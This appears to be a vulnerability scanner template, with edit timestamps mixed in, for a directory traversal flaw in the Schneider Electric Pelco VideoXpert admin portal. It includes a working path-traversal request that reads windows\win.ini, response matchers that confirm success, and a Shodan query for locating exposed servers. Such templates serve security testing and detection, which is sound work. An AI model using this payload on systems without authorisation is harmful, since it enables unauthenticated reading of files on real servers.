2022-09-12 08:33:36 +00:00
id : videoxpert-lfi
2022-09-10 10:33:14 +00:00
info :
name : Schneider Electric Pelco VideoXpert Core Admin Portal - Directory Traversal
author : 0x_akoko
severity : high
description : Pelco VideoXpert suffers from a directory traversal vulnerability. Exploiting this issue will allow an unauthenticated attacker to view arbitrary files within the context of the web server.
2022-09-12 08:33:36 +00:00
reference :
- https://packetstormsecurity.com/files/143317/Schneider-Electric-Pelco-VideoXpert-Core-Admin-Portal-Directory-Traversal.html
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5419.php
metadata :
shodan-query : title:"VideoXpert"
2022-09-12 11:34:28 +00:00
tags : schneider,pelco,packetstorm,lfi,videoxpert
2022-09-10 10:33:14 +00:00
requests :
- method : GET
path :
2022-09-12 08:28:44 +00:00
- '{{BaseURL}}/portal//..\\\..\\\..\\\..\\\windows\win.ini'
2022-09-10 10:33:14 +00:00
2022-09-12 09:50:52 +00:00
matchers-condition : and
2022-09-10 10:33:14 +00:00
matchers :
- type : word
2022-09-12 09:50:52 +00:00
part : body
2022-09-10 10:33:14 +00:00
words :
2022-09-12 08:28:44 +00:00
- 'bit app support'
- 'fonts'
- 'extensions'
2022-09-10 10:33:14 +00:00
condition : and
2022-09-12 09:50:52 +00:00
- type : status
status :
- 200
